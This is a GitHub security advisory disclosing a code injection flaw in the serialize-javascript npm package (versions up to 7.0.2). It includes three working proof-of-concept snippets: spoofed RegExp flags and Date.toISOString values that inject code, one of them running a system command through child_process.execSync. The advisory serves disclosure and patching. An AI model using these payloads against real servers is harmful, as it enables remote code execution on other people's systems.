GHSA-5c6j-r48x-rmvq
Serialize JavaScript is Vulnerable to RCE via RegExp.flags and Date.prototype.toISOString()
Quick fix
GHSA-5c6j-r48x-rmvq — serialize-javascript: upgrade to the fixed version with the command below.
npm install serialize-javascript@7.0.3Details
### Impact
The serialize-javascript npm package (versions <= 7.0.2) contains a code injection vulnerability. It is an incomplete fix for CVE-2020-7660.
While `RegExp.source` is sanitized, `RegExp.flags` is interpolated directly into the generated output without escaping. A similar issue exists in `Date.prototype.toISOString()`.
If an attacker can control the input object passed to `serialize()`, they can inject malicious JavaScript via the flags property of a RegExp object. When the serialized string is later evaluated (via `eval`, `new Function`, or `<script>` tags), the injected code executes.
```javascript const serialize = require('serialize-javascript'); // Create an object that passes instanceof RegExp with a spoofed .flags const fakeRegex = Object.create(RegExp.prototype); Object.defineProperty(fakeRegex, 'source', { get: () => 'x' }); Object.defineProperty(fakeRegex, 'flags', { get: () => '"+(global.PWNED="CODE_INJECTION_VIA_FLAGS")+"' }); fakeRegex.toJSON = function() { return '@placeholder'; }; const output = serialize({ re: fakeRegex }); // Output: {"re":new RegExp("x", ""+(global.PWNED="CODE_INJECTION_VIA_FLAGS")+"")} let obj; eval('obj = ' + output); console.log(global.PWNED); // "CODE_INJECTION_VIA_FLAGS" — injected code executed! #h2. PoC 2: Code Injection via Date.toISOString() ```
```javascript const serialize = require('serialize-javascript'); const fakeDate = Object.create(Date.prototype); fakeDate.toISOString = function() { return '"+(global.DATE_PWNED="DATE_INJECTION")+"'; }; fakeDate.toJSON = function() { return '2024-01-01'; }; const output = serialize({ d: fakeDate }); // Output: {"d":new Date(""+(global.DATE_PWNED="DATE_INJECTION")+"")} eval('obj = ' + output); console.log(global.DATE_PWNED); // "DATE_INJECTION" — injected code executed! #h2. PoC 3: Remote Code Execution ```
```javascript const serialize = require('serialize-javascript'); const rceRegex = Object.create(RegExp.prototype); Object.defineProperty(rceRegex, 'source', { get: () => 'x' }); Object.defineProperty(rceRegex, 'flags', { get: () => '"+require("child_process").execSync("id").toString()+"' }); rceRegex.toJSON = function() { return '@rce'; }; const output = serialize({ re: rceRegex }); // Output: {"re":new RegExp("x", ""+require("child_process").execSync("id").toString()+"")} // When eval'd on a Node.js server, executes the "id" system command ```
### Patches
The fix has been published in version 7.0.3. https://github.com/yahoo/serialize-javascript/releases/tag/v7.0.3
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Affected packages
References
- https://github.com/yahoo/serialize-javascript/security/advisories/GHSA-5c6j-r48x-rmvq[WEB]
- https://nvd.nist.gov/vuln/detail/CVE-2020-7660[ADVISORY]
- https://github.com/yahoo/serialize-javascript/commit/2e609d0a9f4f5b097f0945af88bd45b9c7fb48d9[WEB]
- https://github.com/advisories/GHSA-hxcc-f52p-wc94[ADVISORY]
- https://github.com/yahoo/serialize-javascript[PACKAGE]
- https://github.com/yahoo/serialize-javascript/releases/tag/v7.0.3[WEB]